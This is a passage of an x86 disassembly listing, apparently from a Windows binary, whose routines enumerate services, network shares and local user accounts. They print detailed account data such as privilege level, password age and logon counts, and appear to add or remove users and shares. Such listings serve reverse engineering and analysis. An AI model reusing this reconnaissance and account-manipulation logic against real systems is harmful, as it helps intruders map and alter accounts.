		call	dword_421088	; RtlGetLastWin32Error
		cmp	eax, 0EAh
		jnz	loc_4131B4


loc_413100:				; CODE XREF: sub_41308E+5Fj
		xor	edi, edi
		cmp	[ebp+var_4], ebx
		jle	loc_4131AB
		lea	esi, [ebp+var_188]


loc_413111:				; CODE XREF: sub_41308E+117j
		mov	eax, [esi+8]
		dec	eax
		jz	short loc_41315A
		dec	eax
		jz	short loc_413153
		dec	eax
		jz	short loc_41314C
		dec	eax
		jz	short loc_413145
		dec	eax
		jz	short loc_41313E
		dec	eax
		jz	short loc_413137
		dec	eax
		jz	short loc_413130
		push	offset aUnknown_1 ; "	 Unknown"
		jmp	short loc_41315F
; ---------------------------------------------------------------------------


loc_413130:				; CODE XREF: sub_41308E+99j
		push	offset aPaused_0 ; "	 Paused"
		jmp	short loc_41315F
; ---------------------------------------------------------------------------


loc_413137:				; CODE XREF: sub_41308E+96j
		push	offset aPausing	; "    Pausing"
		jmp	short loc_41315F
; ---------------------------------------------------------------------------


loc_41313E:				; CODE XREF: sub_41308E+93j
		push	offset aContinuing ; " Continuing"
		jmp	short loc_41315F
; ---------------------------------------------------------------------------


loc_413145:				; CODE XREF: sub_41308E+90j
		push	offset aRunning_0 ; "	 Running"
		jmp	short loc_41315F
; ---------------------------------------------------------------------------


loc_41314C:				; CODE XREF: sub_41308E+8Dj
		push	offset aStoping	; "    Stoping"
		jmp	short loc_41315F
; ---------------------------------------------------------------------------


loc_413153:				; CODE XREF: sub_41308E+8Aj
		push	offset aStarting ; "   Starting"
		jmp	short loc_41315F
; ---------------------------------------------------------------------------


loc_41315A:				; CODE XREF: sub_41308E+87j
		push	offset aStopped	; "    Stopped"


loc_41315F:				; CODE XREF: sub_41308E+A0j
					; sub_41308E+A7j ...
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_4154E7
		pop	ecx
		lea	eax, [ebp+var_20]
		pop	ecx
		push	dword ptr [esi]
		push	dword ptr [esi-4]
		push	eax
		lea	eax, [ebp+var_38C]
		push	offset aSSS	; "%s: %s (%s)"
		push	eax
		call	sub_4154E7
		push	1
		lea	eax, [ebp+var_38C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 28h
		inc	edi
		add	esi, 24h
		cmp	edi, [ebp+var_4]
		jl	loc_413111


loc_4131AB:				; CODE XREF: sub_41308E+77j
		cmp	[ebp+var_8], ebx
		jnz	loc_4130C6


loc_4131B4:				; CODE XREF: sub_41308E+6Cj
		push	[ebp+var_C]
		call	dword_43A29C	; CloseServiceHandle
		xor	eax, eax
		pop	edi
		cmp	eax, [ebp+var_4]
		pop	esi
		pop	ebx
		sbb	eax, eax
		neg	eax
		leave
		retn
sub_41308E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4131CB	proc near		; CODE XREF: sub_40CE55:loc_40EE43p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		test	edi, edi
		jz	loc_413264
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, 0
		jz	short loc_4131F4
		dec	eax
		jnz	short loc_413244
		push	edi
		push	0
		call	sub_41339D
		pop	ecx
		pop	ecx
		jmp	short loc_413240
; ---------------------------------------------------------------------------


loc_4131F4:				; CODE XREF: sub_4131CB+18j
		cmp	[ebp+arg_8], 0
		jnz	short loc_413232
		push	24h
		push	edi
		call	sub_417080
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_413232
		push	57h
		pop	eax


loc_41320B:				; CODE XREF: sub_4131CB+77j
		push	eax
		call	sub_413B75
		push	eax
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_468C5C
		push	off_436628[eax*4]
		push	offset dword_436D34
		push	esi
		call	sub_4154E7
		add	esp, 18h
		jmp	short loc_413284
; ---------------------------------------------------------------------------


loc_413232:				; CODE XREF: sub_4131CB+2Dj
					; sub_4131CB+3Bj
		push	[ebp+arg_8]
		push	edi
		push	0
		call	sub_4132F1
		add	esp, 0Ch


loc_413240:				; CODE XREF: sub_4131CB+27j
		test	eax, eax
		jnz	short loc_41320B


loc_413244:				; CODE XREF: sub_4131CB+1Bj
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_468C5C
		push	off_43662C[eax*4]
		push	offset dword_436D04
		push	esi
		call	sub_4154E7
		add	esp, 10h
		jmp	short loc_413284
; ---------------------------------------------------------------------------


loc_413264:				; CODE XREF: sub_4131CB+Aj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_468C5C
		lea	eax, [eax+eax*2]
		push	off_436628[eax*4]
		push	offset dword_436CCC
		push	esi
		call	sub_4154E7
		add	esp, 0Ch


loc_413284:				; CODE XREF: sub_4131CB+65j
					; sub_4131CB+97j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_4131CB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41328A	proc near		; CODE XREF: sub_4146BA+245p

arg_0		= dword	ptr  4
arg_C		= dword	ptr  10h

		push	esi
		xor	esi, esi
		cmp	[esp+4+arg_0], esi
		jnz	short loc_413297
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_413297:				; CODE XREF: sub_41328A+7j
		push	ebx
		push	ebp
		push	edi
		push	esi
		push	esi
		push	esi
		mov	edi, dword_421138
		push	esi
		push	0FFFFFFFFh
		mov	ebx, 400h
		push	[esp+24h+arg_0]
		push	ebx
		push	esi
		call	edi	; WideCharToMultiByte
		test	byte_468E5C, 1
		mov	ebp, eax
		jnz	short loc_4132D4
		or	byte_468E5C, 1
		lea	eax, [ebp+1]
		push	eax
		call	sub_4167C5
		pop	ecx
		mov	dword_468BFC, eax


loc_4132D4:				; CODE XREF: sub_41328A+32j
		push	esi
		push	esi
		push	ebp
		push	dword_468BFC
		push	0FFFFFFFFh
		push	[esp+18h+arg_C]
		push	ebx
		push	esi
		call	edi	; WideCharToMultiByte
		mov	eax, dword_468BFC
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		retn
sub_41328A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4132F1	proc near		; CODE XREF: sub_4131CB+6Dp
					; sub_4149DE+18Ap ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	edi
		push	[ebp+arg_0]
		call	sub_41335C
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_41335C
		push	24h
		mov	[ebp+var_20], eax
		push	[ebp+arg_4]
		call	sub_417080
		push	[ebp+arg_8]
		mov	[ebp+var_14], 7Fh
		neg	eax
		sbb	eax, eax
		and	[ebp+var_18], 0
		or	[ebp+var_10], 0FFFFFFFFh
		and	[ebp+var_C], 0
		and	eax, 80000000h
		mov	[ebp+var_1C], eax
		call	sub_41335C
		add	esp, 14h
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	2
		push	edi
		call	dword_43A298
		pop	edi
		leave
		retn
sub_4132F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_41335C	proc near		; CODE XREF: sub_4132F1+Ap
					; sub_4132F1+14p ...

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		xor	eax, eax
		cmp	ebp, eax
		jnz	short loc_413369
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_413369:				; CODE XREF: sub_41335C+9j
		push	ebx
		push	esi
		mov	esi, dword_421064
		push	edi
		push	eax
		push	eax
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	eax
		call	esi	; MultiByteToWideChar
		mov	edi, eax
		lea	eax, [edi+edi+2]
		push	eax
		call	sub_4167C5
		pop	ecx
		mov	ebx, eax
		push	edi
		push	ebx
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	0
		call	esi	; MultiByteToWideChar
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41335C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41339D	proc near		; CODE XREF: sub_4131CB+20p
					; sub_4146BA+1BBp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_41335C
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_41335C
		pop	ecx
		pop	ecx
		push	0
		push	eax
		push	esi
		call	dword_43A270
		pop	esi
		retn
sub_41339D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4133C0	proc near		; CODE XREF: sub_40CE55+201Ap

var_210		= byte ptr -210h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_C]
		call	sub_41335C
		xor	esi, esi
		mov	[ebp+var_C], eax
		push	esi
		mov	[ebp+arg_C], esi
		push	[ebp+arg_8]
		mov	[ebp+var_8], esi
		mov	[ebp+var_10], esi
		push	offset aShareNameResou ; "Share	name:	 Resource:		 "...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 18h


loc_4133F9:				; CODE XREF: sub_4133C0+10Fj
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	[ebp+var_C]
		call	dword_43A2E4
		mov	ebx, eax
		cmp	ebx, esi
		jz	short loc_41345C
		cmp	ebx, 0EAh
		jz	short loc_41345C
		push	ebx
		push	ebx
		call	sub_413B75
		pop	ecx
		push	eax
		lea	eax, [ebp+var_210]
		push	offset dword_436D94
		push	eax
		call	sub_4154E7
		push	esi
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 24h
		jmp	short loc_4134C9
; ---------------------------------------------------------------------------


loc_41345C:				; CODE XREF: sub_4133C0+5Dj
					; sub_4133C0+65j
		push	1
		pop	edi
		cmp	[ebp+arg_C], edi
		jb	short loc_4134C0
		mov	eax, [ebp+var_4]
		lea	esi, [eax+14h]


loc_41346A:				; CODE XREF: sub_4133C0+FCj
		push	dword ptr [esi+10h]
		call	dword_43A28C	; IsValidSecurityDescriptor
		test	eax, eax
		mov	eax, offset aYes ; "Yes"
		jnz	short loc_413481
		mov	eax, offset aNo	; "No"


loc_413481:				; CODE XREF: sub_4133C0+BAj
		push	eax
		lea	eax, [ebp+var_210]
		push	dword ptr [esi]
		push	dword ptr [esi+4]
		push	dword ptr [esi-14h]
		push	offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
		push	eax
		call	sub_4154E7
		push	1
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 2Ch
		add	esi, 28h
		inc	edi
		cmp	edi, [ebp+arg_C]
		jbe	short loc_41346A
		xor	esi, esi


loc_4134C0:				; CODE XREF: sub_4133C0+A2j
		push	[ebp+var_4]
		call	dword_43A428


loc_4134C9:				; CODE XREF: sub_4133C0+9Aj
		cmp	ebx, 0EAh
		jz	loc_4133F9
		xor	eax, eax
		cmp	ebx, esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_4133C0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4134E1	proc near		; CODE XREF: sub_40CE55:loc_40EEE5p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebx, edi
		jz	loc_413585
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, edi
		jz	short loc_413523
		dec	eax
		jz	short loc_413518
		dec	eax
		jnz	short loc_41353E
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	ebx
		push	edi
		call	sub_413627
		add	esp, 14h
		jmp	short loc_41353A
; ---------------------------------------------------------------------------


loc_413518:				; CODE XREF: sub_4134E1+1Dj
		push	ebx
		push	edi
		call	sub_413606
		pop	ecx
		pop	ecx
		jmp	short loc_41353A
; ---------------------------------------------------------------------------


loc_413523:				; CODE XREF: sub_4134E1+1Aj
		cmp	[ebp+arg_8], edi
		jz	short loc_413537
		push	[ebp+arg_8]
		push	ebx
		push	edi
		call	sub_4135AC
		add	esp, 0Ch
		jmp	short loc_41353A
; ---------------------------------------------------------------------------


loc_413537:				; CODE XREF: sub_4134E1+45j
		push	57h
		pop	eax


loc_41353A:				; CODE XREF: sub_4134E1+35j
					; sub_4134E1+40j ...
		cmp	eax, edi
		jnz	short loc_41355E


loc_41353E:				; CODE XREF: sub_4134E1+20j
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_468E60
		push	off_43662C[eax*4]
		push	offset dword_436E84
		push	esi
		call	sub_4154E7
		add	esp, 10h
		jmp	short loc_4135A5
; ---------------------------------------------------------------------------


loc_41355E:				; CODE XREF: sub_4134E1+5Bj
		push	eax
		call	sub_413B75
		push	eax
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_468E60
		push	off_436628[eax*4]
		push	offset dword_436E44
		push	esi
		call	sub_4154E7
		add	esp, 18h
		jmp	short loc_4135A5
; ---------------------------------------------------------------------------


loc_413585:				; CODE XREF: sub_4134E1+Dj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_468E60
		lea	eax, [eax+eax*2]
		push	off_436628[eax*4]
		push	offset dword_436E08
		push	esi
		call	sub_4154E7
		add	esp, 0Ch


loc_4135A5:				; CODE XREF: sub_4134E1+7Bj
					; sub_4134E1+A2j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4134E1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4135AC	proc near		; CODE XREF: sub_4134E1+4Cp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		and	[ebp+var_4], 0
		push	edi
		push	[ebp+arg_0]
		call	sub_41335C
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_41335C
		push	[ebp+arg_8]
		mov	[ebp+var_24], eax
		call	sub_41335C
		add	esp, 0Ch
		mov	[ebp+var_20], eax
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		push	1
		and	[ebp+var_8], 0
		pop	eax
		lea	ecx, [ebp+var_4]
		push	ecx
		lea	ecx, [ebp+var_24]
		push	ecx
		push	eax
		push	edi
		mov	[ebp+var_18], eax
		mov	[ebp+var_C], 10001h
		call	dword_43A27C
		pop	edi
		leave
		retn
sub_4135AC	endp


; =============== S U B	R O U T	I N E =======================================



sub_413606	proc near		; CODE XREF: sub_4134E1+39p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_41335C
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_41335C
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	dword_43A26C
		pop	esi
		retn
sub_413606	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413627	proc near		; CODE XREF: sub_4134E1+2Dp

var_204		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		and	[ebp+var_4], 0
		push	esi
		push	[ebp+arg_0]
		call	sub_41335C
		push	[ebp+arg_4]
		mov	esi, eax
		call	sub_41335C
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	0Bh
		push	eax
		push	esi
		call	dword_43A3F0
		test	eax, eax
		mov	[ebp+arg_0], eax
		jnz	loc_4139B4
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	loc_4139EF
		push	ebx
		push	edi
		push	dword ptr [eax]
		lea	eax, [ebp+var_204]
		push	offset aAccountS ; "Account: %S"
		push	eax
		call	sub_4154E7
		mov	esi, [ebp+arg_10]
		mov	edi, [ebp+arg_C]
		mov	ebx, [ebp+arg_8]
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D4C
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+0Ch]
		lea	eax, [ebp+var_204]
		push	offset aFullNameS ; "Full Name:	%S"
		push	eax
		call	sub_4154E7
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D4C
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_204]
		push	offset aUserCommentS ; "User Comment: %S"
		push	eax
		call	sub_4154E7
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D4C
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_204]
		push	offset aCommentS ; "Comment: %S"
		push	eax
		call	sub_4154E7
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D4C
		mov	eax, [ebp+var_4]
		add	esp, 40h
		mov	eax, [eax+10h]
		sub	eax, 0
		jz	short loc_413740
		dec	eax
		jz	short loc_413739
		dec	eax
		jz	short loc_413732
		mov	eax, offset aUnknown ; "Unknown"
		jmp	short loc_413745
; ---------------------------------------------------------------------------


loc_413732:				; CODE XREF: sub_413627+102j
		mov	eax, offset aAdministrato_0 ; "Administrator"
		jmp	short loc_413745
; ---------------------------------------------------------------------------


loc_413739:				; CODE XREF: sub_413627+FFj
		mov	eax, offset aUser_1 ; "User"
		jmp	short loc_413745
; ---------------------------------------------------------------------------


loc_413740:				; CODE XREF: sub_413627+FCj
		mov	eax, offset aGuest ; "Guest"


loc_413745:				; CODE XREF: sub_413627+109j
					; sub_413627+110j ...
		push	eax
		lea	eax, [ebp+var_204]
		push	offset aPrivilegeLevel ; "Privilege Level: %s"
		push	eax
		call	sub_4154E7
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D4C
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+14h]
		lea	eax, [ebp+var_204]
		push	offset aAuthFlagsD ; "Auth Flags: %d"
		push	eax
		call	sub_4154E7
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D4C
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+1Ch]
		lea	eax, [ebp+var_204]
		push	offset aHomeDirectoryS ; "Home Directory: %S"
		push	eax
		call	sub_4154E7
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D4C
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+20h]
		lea	eax, [ebp+var_204]
		push	offset aParametersS ; "Parameters: %S"
		push	eax
		call	sub_4154E7
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D4C
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+18h]
		lea	eax, [ebp+var_204]
		push	offset aPasswordAgeD ; "Password Age: %d"
		push	eax
		call	sub_4154E7
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D4C
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+2Ch]
		lea	eax, [ebp+var_204]
		push	offset aBadPasswordCou ; "Bad Password Count: %d"
		push	eax
		call	sub_4154E7
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D4C
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+30h]
		lea	eax, [ebp+var_204]
		push	offset aNumberOfLogins ; "Number of Logins: %d"
		push	eax
		call	sub_4154E7
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D4C
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+24h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogonD ; "Last Logon: %d"
		push	eax
		call	sub_4154E7
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D4C
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+28h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogoffD ; "Last Logoff: %d"
		push	eax
		call	sub_4154E7
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D4C
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+34h]
		lea	eax, [ebp+var_204]
		push	offset aLogonServerS ; "Logon Server: %S"
		push	eax
		call	sub_4154E7
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D4C
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+3Ch]
		lea	eax, [ebp+var_204]
		push	offset aWorkstationsS ;	"Workstations: %S"
		push	eax
		call	sub_4154E7
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D4C
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+38h]
		lea	eax, [ebp+var_204]
		push	offset aCountryCodeD ; "Country	Code: %d"
		push	eax
		call	sub_4154E7
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D4C
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+4Ch]
		lea	eax, [ebp+var_204]
		push	offset aUserSLanguageD ; "User's Language: %d"
		push	eax
		call	sub_4154E7
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D4C
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+40h]
		lea	eax, [ebp+var_204]
		push	offset aMax_StorageD ; "Max. Storage: %d"
		push	eax
		call	sub_4154E7
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D4C
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+44h]
		lea	eax, [ebp+var_204]
		push	offset aUnitsPerWeekD ;	"Units Per Week: %d"
		push	eax
		call	sub_4154E7
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D4C
		add	esp, 20h
		pop	edi
		pop	ebx
		jmp	short loc_4139E0
; ---------------------------------------------------------------------------


loc_4139B4:				; CODE XREF: sub_413627+35j
		push	eax
		lea	eax, [ebp+var_204]
		push	offset dword_436EB8
		push	eax
		call	sub_4154E7
		push	0
		lea	eax, [ebp+var_204]
		push	[ebp+arg_10]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_412D4C
		add	esp, 20h


loc_4139E0:				; CODE XREF: sub_413627+38Bj
		cmp	[ebp+var_4], 0
		jz	short loc_4139EF
		push	[ebp+var_4]
		call	dword_43A428


loc_4139EF:				; CODE XREF: sub_413627+40j
					; sub_413627+3BDj
		mov	eax, [ebp+arg_0]
		pop	esi
		leave
		retn
sub_413627	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4139F5	proc near		; CODE XREF: sub_40CE55+20BCp

var_218		= byte ptr -218h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 218h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	[ebp+arg_C]
		mov	[ebp+var_4], esi
		call	sub_41335C
		push	esi
		mov	[ebp+var_14], eax
		push	[ebp+arg_8]
		mov	[ebp+arg_C], esi
		mov	[ebp+var_18], esi
		mov	[ebp+var_10], esi
		push	offset aUsernameAccoun ; "Username accounts for	local system:"
		mov	[ebp+var_8], esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 18h


loc_413A34:				; CODE XREF: sub_4139F5+135j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	2
		push	esi
		push	[ebp+var_14]
		call	dword_43A300
		cmp	eax, esi
		mov	[ebp+var_C], eax
		jz	short loc_413A95
		cmp	eax, 0EAh
		jz	short loc_413A95
		push	eax
		push	eax
		call	sub_413B75
		pop	ecx
		push	eax
		lea	eax, [ebp+var_218]
		push	offset dword_4370C0
		push	eax
		call	sub_4154E7
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 24h
		jmp	short loc_413B10
; ---------------------------------------------------------------------------


loc_413A95:				; CODE XREF: sub_4139F5+62j
					; sub_4139F5+69j
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	loc_413B23
		xor	ebx, ebx
		cmp	[ebp+arg_C], esi
		jbe	short loc_413B10


loc_413AA7:				; CODE XREF: sub_4139F5+EDj
		cmp	edi, esi
		jz	short loc_413AE6
		push	dword ptr [edi]
		lea	eax, [ebp+var_218]
		push	offset aS_5	; "  %S"
		push	eax
		call	sub_4154E7
		push	1
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 20h
		add	edi, 4
		inc	[ebp+var_8]
		inc	ebx
		cmp	ebx, [ebp+arg_C]
		jb	short loc_413AA7
		jmp	short loc_413B10
; ---------------------------------------------------------------------------


loc_413AE6:				; CODE XREF: sub_4139F5+B4j
		lea	eax, [ebp+var_218]
		push	offset dword_437078
		push	eax
		call	sub_4154E7
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 1Ch


loc_413B10:				; CODE XREF: sub_4139F5+9Ej
					; sub_4139F5+B0j ...
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_413B23
		push	edi
		call	dword_43A428
		xor	edi, edi
		mov	[ebp+var_4], edi


loc_413B23:				; CODE XREF: sub_4139F5+A5j
					; sub_4139F5+120j
		cmp	[ebp+var_C], 0EAh
		jz	loc_413A34
		cmp	edi, esi
		jz	short loc_413B3B
		push	edi
		call	dword_43A428


loc_413B3B:				; CODE XREF: sub_4139F5+13Dj
		push	[ebp+var_8]
		lea	eax, [ebp+var_218]
		push	offset aTotalUsersFoun ; "Total	users found: %d."
		push	eax
		call	sub_4154E7
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 20h
		xor	eax, eax
		cmp	[ebp+var_C], esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_4139F5	endp


; =============== S U B	R O U T	I N E =======================================



sub_413B75	proc near		; CODE XREF: sub_4131CB+41p
					; sub_4133C0+69p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 858h
		cmp	eax, ecx
		ja	loc_413C27
		jz	loc_413C20
		cmp	eax, 7Bh
		ja	short loc_413BEC
		jz	short loc_413BE2
		cmp	eax, 5
		jz	short loc_413BD8
		cmp	eax, 8
		jz	short loc_413BCE
		cmp	eax, 32h
		jz	short loc_413BC4
		cmp	eax, 35h
		jz	short loc_413BBA
		cmp	eax, 57h
		jnz	loc_413C76
		push	offset aInvalidParamet ; "Invalid parameter."
		jmp	loc_413C97
; ---------------------------------------------------------------------------


loc_413BBA:				; CODE XREF: sub_413B75+30j
		push	offset aServerNameNotF ; "Server name not found."
		jmp	loc_413C97
; ---------------------------------------------------------------------------


loc_413BC4:				; CODE XREF: sub_413B75+2Bj
		push	offset aThisNetworkReq ; "This network request is not supported."
		jmp	loc_413C97
